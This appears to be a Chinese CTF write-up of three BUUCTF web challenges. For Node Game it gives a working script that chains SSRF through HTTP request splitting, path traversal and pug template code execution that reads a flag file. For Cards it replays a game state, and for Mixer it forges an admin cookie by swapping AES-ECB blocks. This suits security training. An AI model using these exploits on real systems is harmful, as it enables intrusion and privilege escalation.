buu web部分wp

[GYCTF2020]Node Game

打开后给了源码和一个文件上传的页面,查看源码猜测这里可以利用

buu web部分wp_第1张图片
这里的action参数是我们可控的,结合文件上传界面,猜测是要想办法实现目录穿越,传文件到/template目录下之后利用pug.renderFile函数拿到flag。
尝试上传后发现没有上传成功,查看别人的wp发现在上传界面看到ip必须得是127.0.0.1才能进行上传
在这里插入图片描述
需要文件名和mimetype进行了拼接,所以目录穿越可以利用mimitype,需要进行ssrf攻击
参考文章:通过拆分攻击实现的SSRF攻击
查看wp的exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)

[BUUCTF][BSidesCF 2020]Cards

打开是一个打牌的界面,玩一会发现每次请求都会有一个SecretState参数

访问/api可以得到一个 SecretState 这个是当前余额的一个哈希码

访问/api/deal可以进行**,但是只要我们的 state 不会变,我们的余额就不会变,当我们的应答包含 BlackJack 的时候,我们的余额会增加,然后我们就可以获取它的 SerectState 进行下一次**,这样就可以一直赢了
buu web部分wp_第2张图片
通过脚本等到符合要求就行

import requests

start = "http://e55998dd-c347-4c45-b0c8-dc9ede19d51e.node3.buuoj.cn/api"
deal = start + "/deal"


# 开局
state = requests.post(start).json()["SecretState"]

while True:
    # 下注
    try:
        resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
    except:
        continue

    if resp['GameState'] == 'Blackjack':
        state = resp['SecretState']

    print(resp['Balance'])
    if resp['Balance'] > 100000:
        print(resp)
        break

参考文章:https://blog.csdn.net/solitudi/article/details/109186061

BUUCTF [BSidesCF 2019] Mixer

打开页面发现一个登陆界面,并且提示需要提升权限,并且提到了cookie,输入框中还有不能输入的is_admin属性
先需要修改前端,使其值等于1:

<input type="text" class="name" disabled="1" value="1">

先在两个输入框内随便输入点
buu web部分wp_第3张图片
提示了需要以admin身份登陆,并将is_admin设置为1,使用BurpSuite抓取数据包:回显后得到
buu web部分wp_第4张图片
其存在Set-Cookie字样,将回显页面刷新,重新抓取数据包:
buu web部分wp_第5张图片
得到cookie,到这里没有思路,查看wp提示和rack.session无关,所以尝试修改user的前三位为111,查看回显:得到报错信息
buu web部分wp_第6张图片
成功得到报错内容,因为改动了开头,所以只有后半部分是完整的,相同方式获取前面的内容,也就是修改偏后方的三位为111,得到回显:
在这里插入图片描述
完整的user解密为:

{"first_name":"first","last_name":"last","is_admin":0}

资料:图解分组密码五大工作模式
本题也就是每块内容被分成固定的大小块单独加密,推测为ECB模式,若是CBC模式,修改前面内容,后面内容会变成乱码。

ECB加密是16位一组,每组相互独立,加密后每组为32位,尝试整块替换,并且在json中1.00 == 1

首先构造被加密的字符串:

{"first_name":"A1.00000000000000","last_name":"last","is_admin":0}

可以将字符串拆分为5组,也就是:

# 第一组
{"first_name":"A

# 第二组
1.00000000000000

# 第三组
","last_name":"l

# 第四组
ast","is_admin":

# 第五组
0}

将加密后的第二组放到第四组的后面,构成:

"is_admin":1.00000000000000

完成了构造,那么就需要加密后的cookie,因为没有加密所需的key,所以通过原页面完成,构造登陆内容:

first name = A1.00000000000000
last name = last

提交表单后,获取到user的值:

74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d0d08f283e74a520be28759ad0fa173f7

前四组不用动,也就是到128前,将32到64位作为第二组内容取出,并拼接至第四组后,使用Python3:

s = "74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d0d08f283e74a520be28759ad0fa173f7"

res = s[:128] + s[32:64] + s[128:]
print(res)

得到构造好的payload:

74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d912e06d0868ba525da7fd1b2ea6b5d120d08f283e74a520be28759ad0fa173f7

将其替换到user中得到flag

你可能感兴趣的:(前端,服务器,网络)